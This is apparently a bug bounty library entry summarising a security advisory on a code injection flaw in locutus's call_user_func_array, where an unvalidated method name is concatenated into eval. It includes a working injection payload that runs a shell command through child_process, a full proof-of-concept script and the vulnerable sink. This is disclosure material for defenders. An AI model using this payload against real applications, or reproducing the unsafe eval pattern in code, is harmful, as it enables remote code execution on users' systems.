# locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection

Locutus call_user_func_array evals cb[1] unvalidated, letting a crafted method name break out of the property-access string and run arbitrary Node.js code.

- Payout: Research
- Severity: high
- Program: Locutus
- Found by: tomasilluminati
- Disclosed: 2026-03-04
- CVE: CVE-2026-29091
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fp25-p6mj-qqg6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fp25-p6mj-qqg6
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:rce

**Target:** npm library function call_user_func_array (PHP-to-JS port)
**Root cause:** The callback array's first element is checked against validJSFunctionNamePattern but the second (method name) is concatenated raw into an eval string: eval(cb[0] + "['" + cb[1] + "']").
**Steps:**
1. Locate src/php/funchand/call_user_func_array.js lines 31-35 in locutus 2.0.39.
2. Note only cb[0] is regex-validated; cb[1] is interpolated into eval.
3. Craft payload for cb[1] that closes the bracket/quote and appends code: `']; require('child_process').execSync('id').toString().trim(); //`
4. Call `call_user_func_array(["Date", payload], [])`.
5. Injected code executes; the trailing `//` comments out the closing `']`, causing a ReferenceError whose message contains the command output (`uid=...`).
**How found:** Code review of the eval-based PHP port: noticed the regex guard applied to cb[0] but not cb[1], making the method-name slot the only unguarded path into the eval string.
**Exploitation:** Any application routing untrusted array callbacks (e.g. JSON-RPC gateways, PHP-to-JS porting layers) into call_user_func_array executes attacker JS with Node.js process privileges; the PoC surfaces `id` output via the thrown error message.
**Insight:** When a library guards one element of a compound input before string-building into eval, audit every other interpolated element for quote/bracket breakout; the unguarded sibling is the intended bypass.

## Proof of concept (copied exactly from the original report)

**PoC script injecting payload via cb[1]**

```
const path = require("path");
const fs = require("fs");

const vulnFilePath = path.resolve(
  __dirname,
  "./src/php/funchand/call_user_func_array.js"
);

if (!fs.existsSync(vulnFilePath)) {
  console.error("error target file not found");
  process.exit(1);
}

console.log("loading target");
const call_user_func_array = require(vulnFilePath);

const payload = "']; require('child_process').execSync('id').toString().trim(); //";

console.log("payload set");

try {
  console.log("run");
  call_user_func_array(["Date", payload], []);
  console.log("fail no error");
} catch (e) {
  const msg = e.message;
  if (msg && msg.includes("uid=")) {
    console.log("pwn");
    const proof = msg.split(" is not a valid function")[0];
    console.log("out " + proof);
  } else {
    console.error("fail unexpected");
    console.error(msg);
    process.exit(1);
  }
}
```

**Vulnerable eval sink in call_user_func_array**

```
if (cb[0].match(validJSFunctionNamePattern)) {
  // biome-ignore lint/security/noGlobalEval: needed for PHP port
  func = eval(cb[0] + "['" + cb[1] + "']")
```

